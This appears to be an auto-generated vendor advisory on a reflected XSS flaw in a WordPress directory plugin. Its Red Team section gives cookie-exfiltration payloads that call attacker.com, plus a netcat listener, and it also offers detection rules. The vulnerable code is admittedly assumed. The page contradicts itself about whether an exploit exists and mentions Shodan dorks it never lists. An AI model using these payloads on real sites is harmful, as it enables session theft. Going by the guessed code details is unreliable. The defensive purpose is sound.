CVE-2025-39567
Executive Summary
CVE-2025-39567 is a reflected Cross-Site Scripting (XSS) vulnerability in the Shamalli Web Directory Free WordPress plugin, affecting versions up to and including 1.7.8. This vulnerability allows an unauthenticated attacker to inject arbitrary JavaScript into a web page, which is then reflected back to the victim's browser. The attack requires user interaction (e.g., clicking a crafted link), and the impact is limited to the victim's session, potentially leading to data theft, session hijacking, or defacement. The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who have installed the plugin via the WordPress dashboard or manually are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The lack of a patch from the vendor (Shamalli) means that users must rely on temporary mitigations such as Web Application Firewall (WAF) rules or disabling the plugin.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on service availability.
Threat Level: High. Although the EPSS score is low, the vulnerability is trivial to exploit and affects a widely used WordPress plugin. The lack of a patch increases the risk for unmitigated installations.
Deep Dive & Mechanics
The vulnerability resides in the Web Directory Free WordPress plugin, specifically in the handling of user-supplied input that is reflected back in the HTTP response without proper sanitization or encoding. The plugin likely processes query parameters (e.g., s, search, or custom directory parameters) and echoes them directly into the HTML output. An attacker can craft a URL containing a malicious JavaScript payload, such as:
https://example.com/?s=<script>alert('XSS')</script>
When a victim visits this URL, the server reflects the payload in the page, causing the browser to execute the script. The attack is reflected (non-persistent), meaning the payload is not stored on the server but is immediately returned in the response.
The root cause is the lack of output encoding or validation of user input before inclusion in the HTML. The plugin likely uses PHP functions like echo $_GET['param'] without applying htmlspecialchars() or similar escaping.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is assumed. A typical vulnerable snippet might look like:
// Vulnerable code (web-directory-free/includes/class-web-directory-free.php)
$search_term = $_GET['s'];
echo '<div class="search-results">You searched for: ' . $search_term . '</div>';
A patched version would sanitize the output:
// Patched code
$search_term = sanitize_text_field($_GET['s']);
echo '<div class="search-results">You searched for: ' . esc_html($search_term) . '</div>';
The esc_html() function in WordPress encodes HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with Web Directory Free plugin version <= 1.7.8.
- A victim user with a modern browser.
Exploitation Steps:
- Identify a vulnerable parameter (e.g.,
s,search, or a directory-specific parameter). - Craft a malicious URL:
https://target-site.com/?s=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Send the link to the victim via phishing email, social media, or other means.
- When the victim clicks the link, the script executes, sending their cookies to the attacker's server.
Example Payloads:
- Session hijacking:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script> - Defacement:
<script>document.body.innerHTML='<h1>Hacked</h1>'</script>
Lab Setup:
- Use a local WordPress installation (e.g., via Docker) with the vulnerable plugin.
- Set up a listener (e.g.,
nc -lvnp 80or a Python HTTP server) to capture exfiltrated data.
Blue Team (Defensive)
Detection:
- Monitor web server logs for URLs containing
<script>tags or encoded variants. - Use WAF rules to block requests with suspicious query parameters.
Hunting:
- Search for
web-directory-freein WordPress admin logs. - Look for unusual outbound connections from the web server.
Containment:
- Disable the plugin immediately if no patch is available.
- Implement a virtual patch using a WAF (e.g., ModSecurity rule to block
sparameter containing<script>).
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to the vulnerable endpoint with query parameters containing
<script>,onerror,onload, or similar XSS vectors. - Outbound connections to unknown IPs or domains from the web server.
- HTTP requests to the vulnerable endpoint with query parameters containing
- File IOCs:
- Modified WordPress core files (unlikely for reflected XSS).
- Suspicious entries in WordPress debug logs.
- Behavioral IOCs:
- Unexpected JavaScript execution in user browsers.
- Unusual cookie exfiltration attempts.
Detection Engineering
YARA Rule
rule CVE_2025_39567_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting Web Directory Free plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-39567"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
$xss3 = /onload\s*=\s*["']?[^"']*["']?/is
$param = "web-directory-free"
condition:
any of ($xss*) and $param
}
Sigma Rule
title: Reflected XSS Attempt Against Web Directory Free Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in query parameters targeting the Web Directory Free plugin
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-39567
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "<script"
- "onerror="
- "onload="
- "javascript:"
cs-uri-stem|contains: "web-directory-free"
condition: selection
falsepositives:
- Legitimate use of JavaScript in search queries (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-39567 Reflected XSS in Web Directory Free"; flow:to_server,established; content:"web-directory-free"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by the vendor.
- Implement a WAF rule to block query parameters containing XSS patterns (e.g.,
<script,onerror,onload). - Monitor logs for exploitation attempts.
Long-term Fix:
- The vendor (Shamalli) must release a patched version that properly sanitizes user input using
esc_html()orsanitize_text_field(). - Users should update to the latest version once available.
Workarounds:
- Use a security plugin (e.g., Wordfence) with XSS protection enabled.
- Restrict access to the plugin's pages via
.htaccessif possible.
Valters IT Signature:
- This report is provided for educational and defensive purposes. Unauthorized exploitation is illegal.
Report generated by Valters IT DevSecOps Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.